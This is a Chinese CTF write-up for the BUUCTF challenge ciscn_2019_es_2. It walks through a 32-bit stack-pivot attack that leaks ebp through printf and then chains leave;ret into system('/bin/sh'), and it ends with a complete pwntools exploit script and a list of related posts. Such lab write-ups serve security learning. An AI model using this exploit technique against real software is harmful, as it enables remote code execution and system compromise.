BUUCTF栈迁移ciscn_2019_es_2
1.checksec+运行获取基本信息
32位+NX堆栈不可执行
2.常规IDA操作
1.main函数
并没有什么
2.int vul()函数
程序主体,信息很多
1.两次read都在往同一个地方s处读入数据
2.要读入0x30,但s大小只有0x28,如果有后门函数,直接常规栈溢出操作
但是shift+f12
这里仅仅是打印flag字符串,没有用
同时查看hack函数
system里面的参数不是bin_sh不能直接用,所以要修改system的参数
但是...........
s只有0x28,要读入0x30,所以只有0x30-0x28=0x8的空间让我们构造ROP链
于是乎
我们找新的地方,足够大来构造,也就是
栈迁移
但是栈迁移不是想用就能用的,需要满足条件
1.存在leave ret的gadget指令
2.存在可执行shellcode的地方(system函数,自己写入binsh)
利用思路+具体操作
题目两次read读入,有两次溢出,第一次溢出需要泄露栈上地址,为第二次迁移准备(确定迁移地址)
程序提供了printf函数,该函数有一个特性,在没有遇到终止符"\0"会一直输出,可利用它泄露出栈上地址,得到劫持位置的准确地址.
payload1 = b'A' * (0x27) + b'B'#留一个位置补"\0"#连带打印出ebp的地址
p.send(payload1) # 不要用 sendline,sendline会发送空格,导致无法补"\0"中断
p.recvuntil("B")#接收printf返回的ebp前要先recv前面read输入的内容
old_ebp = u32(p.recv(4))
print(hex(original_ebp))
缓冲区参数s的位置可以用ebp寻址,所以用printf泄露ebp的地址
用gdb确定参数位置
应该是不能在main函数下断点,断点下在main函数,不能再输入参数了
单用gdb不开root权限,可以输入,但是好像不能看栈的结构
其实下在main函数处
输入n,多运行几步,n到可以输入参数的位置就行了,但是要注意别n过头了
所以在想一个问题:
如何找到合适的下断点的位置?
目前还没有找到,先记下了----2022年4月22日晚10点记
将断点下在vul函数的nop位置
输入bbbb确定位置
python 计算一下
确定s位置
ebp-0x38
具体攻击过程
1.覆盖原栈上ret为leave ret的地址
2.将old_ebp覆盖为old_ebp-0x38,old_ebp已通过printf泄露出来
栈空间不会复原,而是
之后执行第二个leave ret,也就是已经实现将 esp 劫持至 old_ebp -0x38处的栈迁移效果
接下来
为常规的栈溢出操作,执行 system 的shellcode 以完成对 eip 与执行流的篡改
payload2 = b'aaaa'
payload2 += p32(system_addr)
payload2 += b'bbbb'
payload2 += p32(original_ebp - 0x28) #迁移到新位置就是一个正常的栈溢出,s大小为0x28
payload2 += b'/bin/sh\x00'
payload2 = payload2.ljust(0x28, b'p')
补充:Python ljust知识
Python ljust() 方法返回一个原字符串左对齐,并使用空格填充至指定长度的新字符串。如果指定的长度小于原字符串的长度则返回原字符串。
str = "this is string example....wow!!!";print str.ljust(50, '0');
输出结果:
this is string example....wow!!!000000000000000000
接着构造
payload2 += p32(original_ebp - 0x38) # 参数s的位置
payload2 += p32(leave_ret) # new leave ret
写到这里,最后交互,攻击就结束了
完整的脚本
from pwn import*
#p=process('./ciscn2019es2')
p=remote("node4.buuoj.cn",28058)system_addr = 0x08048400
leave_ret = 0x080484b8payload1 = b'A' * (0x27) + b'B'
p.send(payload1) # not sendline
p.recvuntil("B")
original_ebp = u32(p.recv(4))
print(hex(original_ebp))payload2 = b'aaaa'
payload2 += p32(system_addr)
payload2 += b'bbbb'
payload2 += p32(original_ebp - 0x28)
payload2 += b'/bin/sh\x00'
payload2 = payload2.ljust(0x28, b'p')payload2 += p32(original_ebp - 0x38)
payload2 += p32(leave_ret) p.sendline(payload2)
p.interactive()
BUUCTF栈迁移ciscn_2019_es_2相关推荐
- 栈劫持(栈迁移)介绍
栈劫持 栈劫持也可以称为栈迁移,用来解决栈本身可以利用的空间不够用,一般是溢出空间不够 用,没办法有效构造rop链.这个时候我们可以通过劫持ebp的方式,利用leave 和 ret两个汇编指令来做 到 ...
- 关于栈迁移的那些事儿
一.前言 现在的CTF比赛中很难在大型比赛中看到栈溢出类型的赛题,而即使遇到了也是多种利用方式组合出现,尤其以栈迁移配合其他利用方式来达到组合拳的效果,本篇文章意旨通过原理+例题的形式带领读者一步步理 ...
- 遗留系统的技术栈迁移
什么是遗留系统(Legacy System)?根据维基百科的定义,遗留系统是一种旧的方法.旧的技术.旧的计算机系统或应用程序[1].这一定义事实上并没有很好地揭露遗留系统的本质.我认为,遗留系统首先是 ...
- 持续更新 BUUCTF——PWN(一)
文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...
- [BUUCTF-pwn]——ciscn_2019_es_2(内涵peak小知识)
[BUUCTF-pwn]--ciscn_2019_es_2 题目地址: https://buuoj.cn/challenges#ciscn_2019_es_2 这是一道栈劫持的题,第一次写这种题的题解 ...
- 持续更新 BUUCTF——PWN(二)
文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...
- buuctf(pwn)
胖胖 pwn1_sctf_2016 ciscn_2019_n_11 补充movss /ucomiss jarvisoj_level0 ciscn_2019_c_1 babyrop [第五空间2019 ...
- 栈迁移过程记录,栈指针rsp、rbp、rip、leave变化过程
栈迁移 利用条件: 能对bss段进行操作(可写.可执行) 有必要的ROP可用 通过ROP leave_ret 改变ebp的值伪造栈,到达栈迁移的目的.下面就一个题目的一个payload进行调试,逐指令 ...
- pwn-栈迁移-ROP
# 栈迁移-ROP 题目描述 这里给出题目链接 https://github.com/LeeHaming/CTF-learn/blob/master/easyR0p/easyR0p 程序的结构很简单, ...
最新文章
- CTP综合交易平台-开发后感
- php怎么弄自动填充,ThinkPHP 自动填充(自动完成)详解及实例
- java本地读取文件的io类_Java File类与文件IO流总结
- 4.17杭州KubeMeet 开发者沙龙·云原生应用管理专场来啦!
- 如何使用yum来下载RPM包而不进行安装
- SpringBoot实战 之 异常处理篇
- 万能驱动xp离线版_教你用SC封装软件来封装XP系统
- maven系列一:pom.xml文件详解
- 推荐一个快速反射调用的类
- 直播预告 - 博时基金DevOps体系建设和自动化测试分享
- cache数据库和mysql_并发环境下,先操作数据库还是先操作缓存?
- 怎么开启队友无伤_王者荣耀:张飞辅助怎么玩才厉害?出装、打法,为你全面解析...
- oracle 函数_oracle中row_number、rank、dense_rank() 的区别(over函数)
- opencv3和qt5计算机视觉应用开发pdf_NeurIPS 2019:计算机视觉论文回顾
- mobi 转 pdf mobi格式转pdf格式 ePub azw3
- 传智播客黑马程序员之JAVA基础深入浅出精华版
- 如何给计算机d盘加密码,怎样给电脑文件夹加密
- AliOS Things学习笔记(5)——ESP8266对接天猫精灵下篇(设备端)
- 西瓜书——支持向量机
- enovia PLM : add new value to SPEO